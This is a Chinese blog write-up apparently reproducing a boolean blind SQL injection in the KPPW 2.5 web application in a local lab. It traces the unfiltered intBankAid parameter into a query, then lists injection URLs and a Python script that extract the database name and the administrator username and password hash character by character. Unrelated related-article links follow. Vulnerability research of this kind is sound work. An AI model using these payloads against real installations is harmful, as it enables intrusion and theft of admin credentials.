KPPW2.5 漏洞利用--SQL注入

SQL注入--布尔型盲注

环境搭建

1,集成环境简单方便,如wamp,phpstudy....

2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

3,安装,访问(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

上述,漏洞复现平台搭建成功。

首页(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php)。

漏洞分析

/control/user/account_auth.php文件

$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}

仔细看看这里的:

$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );

这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info

/lib/sys/keke_auth_base_class.php:

public function get_user_auth_info($uid,$is_username=0,$show_id=''){
$sql="select * from ".TABLEPRE.$this->_auth_table_name;
if($uid){
$is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
$show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
$sql .=" order by $this->_primary_key desc";
$data = db_factory::query($sql);
if(sizeof($data)==1){
return $data[0];
}else{
return $data;
}
}else{
return array();
}

接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,

最后进入$sql进入数据库,导致sql注入漏洞。

漏洞利用

准备:注册个账号登陆上去,绑定银行卡,进入银行认证的环节,也就是存在SQL注入的页面(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147)。

首先用 and 1=1 和 and 1=2 判断

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

接下来就进行布尔盲注。

判断数据库长度:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

查看数据库名字:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

查看后台管理员账号:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

查看后台管理员密码:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

上面写了个简单的python小脚本

#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
payload=" and (select (length(database())))=%d--+-" % i
length=requests.get(url+payload,headers=headers)
print("正在测试......")
print i
if "622***018" in length.text:
print("数据库长度:")
print i
database_length=i
break
'''
'''
print("数据库名字")
for i in range(1,7):
for j in range(1,123):
payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
database_name1 = requests.get(url+payload,headers=headers)
if "622***018" in database_name1.text:
database_name+=chr(j)
print i
print database_name
break
'''
'''
print("后台账号:")
for i in range(1,6):
for j in range(97,123):
payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_name1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_name1.text:
houtai_name+=chr(j)
print i
print houtai_name
break
'''
'''
print("后台密码:")
for i in range(1,33):
for j in range(33,123):
payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_pass1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_pass1.text:
houtai_pass+=chr(j)
print i
print houtai_pass
break
'''

注入部分截图:

源码链接(链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt)

本文链接(http://www.cnblogs.com/Oran9e/p/8261750.html),转载请注明。

任重而道远!

KPPW2.5 漏洞利用--SQL注入的更多相关文章

  1. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  2. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  3. KPPW2.2 漏洞利用--文件下载

    KPPW2.2 漏洞利用--文件下载 任意文件下载漏洞 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 3,安装, ...

  4. KPPW2.7 漏洞利用--文件上传

    KPPW2.7 漏洞利用----文件上传 文件上传导致任意代码执行 搭建环境 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.7源码一份(文末有分享)放到WWW目录下面 ...

  5. 如何利用sql注入进行爆库

    SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...

  6. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  7. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

  8. 利用SQL注入漏洞登录后台的实现方法 。。。。转载

    一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. python基础(八)——多线程

    [root@bogon python]# cat test.py #!/usr/bin/ptyhon import thread import time def print_time(threadNa ...

  2. SCS Characteristics

    Each SCS is an autonomous web application. For the SCS's domain, all data, the logic to process that ...

  3. How to get checksum by IAR

  4. java考试感受

    开学不久,我们进行了一次java程序考试.在此之前,老师要求我们在假期自学java并提前发了一个考试样卷,要求用数组编写一个学生信息管理系统并能够实现一系列的功能.由于我早早的便完成了这道题.因此对这 ...

  5. mysql之 重建GTID下主从关系

    主库:mysqldump -uroot -pmysql -S /tmp/mysql.sock1 --single-transaction --add-drop-database --master-da ...

  6. 运行Scrapy项目提示“import win32api ImportError: DLL load failed: 找不到指定的模块。”

    安装完成Scrapy时候,终端导入Scrapy时候,发现没有任何报错,但是在运行Scrapy的项目的时候提示“import win32api ImportError: DLL load failed: ...

  7. 读懂 PetaLinux:让 Linux 在 Zynq 上轻松起“跑”(转)

    对于Zynq这样一个“ARM+可编程逻辑”异构处理系统我们已经不陌生,其创新性大家也有目共睹.不过想要让更多的应用享受到这一“创新”带来的红利,让其真正“落地”则需要大量系统性的工作,去营造一个完善的 ...

  8. attr()、prop()、css() 的区别

    .attr( ) 可以设置元素的属性(也就是给元素新增加一个原来并不存在的属性)也可以获取元素的本来就有的属性以及额外设置的属性.如果要获取的属性没有设置,那么获取到的结果是 undefined; . ...

  9. Linux 如何配置虚拟机下的Centos静态ip

    如何配置虚拟机下的Centos静态ip 1.        配置虚拟机的虚拟路由器 2.        配置物理主机的虚拟网卡(VMNET8) 3.        配置虚拟主机Centos的网卡 vi ...

  10. zookeeper选举状态介绍 摘自https://cloud.tencent.com/developer/news/303891

    zookeeper集群 配置多个实例共同构成一个集群对外提供服务以达到水平扩展的目的,每个服务器上的数据是相同的,每一个服务器均可以对外提供读和写的服务,这点和redis是相同的,即对客户端来讲每个服 ...